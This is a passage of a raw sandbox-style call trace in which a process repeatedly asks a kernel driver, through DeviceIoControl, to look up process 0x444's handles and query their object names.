nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0113.555] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.555] PsAcquireProcessExitSynchronization () returned 0x0 [0113.555] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.555] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0113.555] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.555] PsReleaseProcessExitSynchronization () returned 0x2 [0113.555] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.555] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.555] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0113.555] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.555] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0113.555] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.555] PsAcquireProcessExitSynchronization () returned 0x0 [0113.555] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.555] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0113.555] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.555] PsReleaseProcessExitSynchronization () returned 0x2 [0113.555] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.555] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.555] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0113.555] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.555] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.555] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.555] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0113.555] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.555] PsAcquireProcessExitSynchronization () returned 0x0 [0113.556] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.556] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0113.556] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.556] PsReleaseProcessExitSynchronization () returned 0x2 [0113.556] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.556] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.556] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0113.556] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.556] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x138, lpOverlapped=0x0) returned 1 [0113.556] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.556] PsAcquireProcessExitSynchronization () returned 0x0 [0113.556] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.556] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0113.556] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.556] PsReleaseProcessExitSynchronization () returned 0x2 [0113.556] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.556] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.556] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0113.556] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.556] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.556] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0113.556] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.556] PsAcquireProcessExitSynchronization () returned 0x0 [0113.556] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.556] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0113.556] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.556] PsReleaseProcessExitSynchronization () returned 0x2 [0113.556] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.556] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.556] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0113.556] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.557] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0113.557] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.557] PsAcquireProcessExitSynchronization () returned 0x0 [0113.557] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.557] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024238a0, HandleInformation=0x0) returned 0x0 [0113.557] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.557] PsReleaseProcessExitSynchronization () returned 0x2 [0113.557] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.557] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.557] ObfDereferenceObject (Object=0xfffffa80024238a0) returned 0x1 [0113.557] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.557] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x11c, lpOverlapped=0x0) returned 1 [0113.557] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.557] PsAcquireProcessExitSynchronization () returned 0x0 [0113.557] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.557] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020beab0, HandleInformation=0x0) returned 0x0 [0113.557] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.557] PsReleaseProcessExitSynchronization () returned 0x2 [0113.557] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.557] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.557] ObfDereferenceObject (Object=0xfffffa80020beab0) returned 0x1 [0113.557] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.557] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.557] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0113.557] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.557] PsAcquireProcessExitSynchronization () returned 0x0 [0113.557] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.558] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0020d4a50, HandleInformation=0x0) returned 0x0 [0113.558] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.558] PsReleaseProcessExitSynchronization () returned 0x2 [0113.558] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.558] ObQueryNameString (in: Object=0xfffff8a0020d4a50, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.558] ObfDereferenceObject (Object=0xfffff8a0020d4a50) returned 0x2 [0113.558] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.558] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.558] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.558] PsAcquireProcessExitSynchronization () returned 0x0 [0113.558] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.558] ObReferenceObjectByHandle (in: Handle=0x7b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f8a3b0, HandleInformation=0x0) returned 0x0 [0113.558] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.558] PsReleaseProcessExitSynchronization () returned 0x2 [0113.558] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.558] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.558] ObfDereferenceObject (Object=0xfffffa8002f8a3b0) returned 0x1 [0113.558] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.558] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.558] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.558] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.558] PsAcquireProcessExitSynchronization () returned 0x0 [0113.558] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.558] ObReferenceObjectByHandle (in: Handle=0x7d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003555b30, HandleInformation=0x0) returned 0x0 [0113.558] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.558] PsReleaseProcessExitSynchronization () returned 0x2 [0113.558] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.558] ObQueryNameString (in: Object=0xfffffa8003555b30, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.558] ObfDereferenceObject (Object=0xfffffa8003555b30) returned 0x1 [0113.558] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0113.559] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.559] PsAcquireProcessExitSynchronization () returned 0x0 [0113.559] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.559] ObReferenceObjectByHandle (in: Handle=0x7e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b34860, HandleInformation=0x0) returned 0x0 [0113.559] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.559] PsReleaseProcessExitSynchronization () returned 0x2 [0113.559] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.559] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.559] ObfDereferenceObject (Object=0xfffffa8003b34860) returned 0x1 [0113.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0113.559] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.559] PsAcquireProcessExitSynchronization () returned 0x0 [0113.559] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.559] ObReferenceObjectByHandle (in: Handle=0x7f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0113.559] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.559] PsReleaseProcessExitSynchronization () returned 0x2 [0113.559] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.559] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.559] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0113.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.559] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.559] PsAcquireProcessExitSynchronization () returned 0x0 [0113.559] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.559] ObReferenceObjectByHandle (in: Handle=0x808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001fc5590, HandleInformation=0x0) returned 0x0 [0113.559] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.560] PsReleaseProcessExitSynchronization () returned 0x2 [0113.560] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.560] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.560] ObfDereferenceObject (Object=0xfffffa8001fc5590) returned 0x1 [0113.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.560] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.560] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.560] PsAcquireProcessExitSynchronization () returned 0x0 [0113.560] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.560] ObReferenceObjectByHandle (in: Handle=0x8a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.560] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.560] PsReleaseProcessExitSynchronization () returned 0x2 [0113.560] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.560] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.560] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.560] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.560] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.560] PsAcquireProcessExitSynchronization () returned 0x0 [0113.560] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.560] ObReferenceObjectByHandle (in: Handle=0x8e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800344df20, HandleInformation=0x0) returned 0x0 [0113.560] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.560] PsReleaseProcessExitSynchronization () returned 0x2 [0113.560] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x18a [0113.560] ObQueryNameString (in: Object=0xfffffa800344df20, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.560] ObfDereferenceObject (Object=0xfffffa800344df20) returned 0x1 [0113.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.560] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.560] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x10c, lpOverlapped=0x0) returned 1 [0113.560] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.561] PsAcquireProcessExitSynchronization () returned 0x0 [0113.561] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880055905d0) [0113.561] ObReferenceObjectByHandle (in: Handle=0x90c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020046f0, 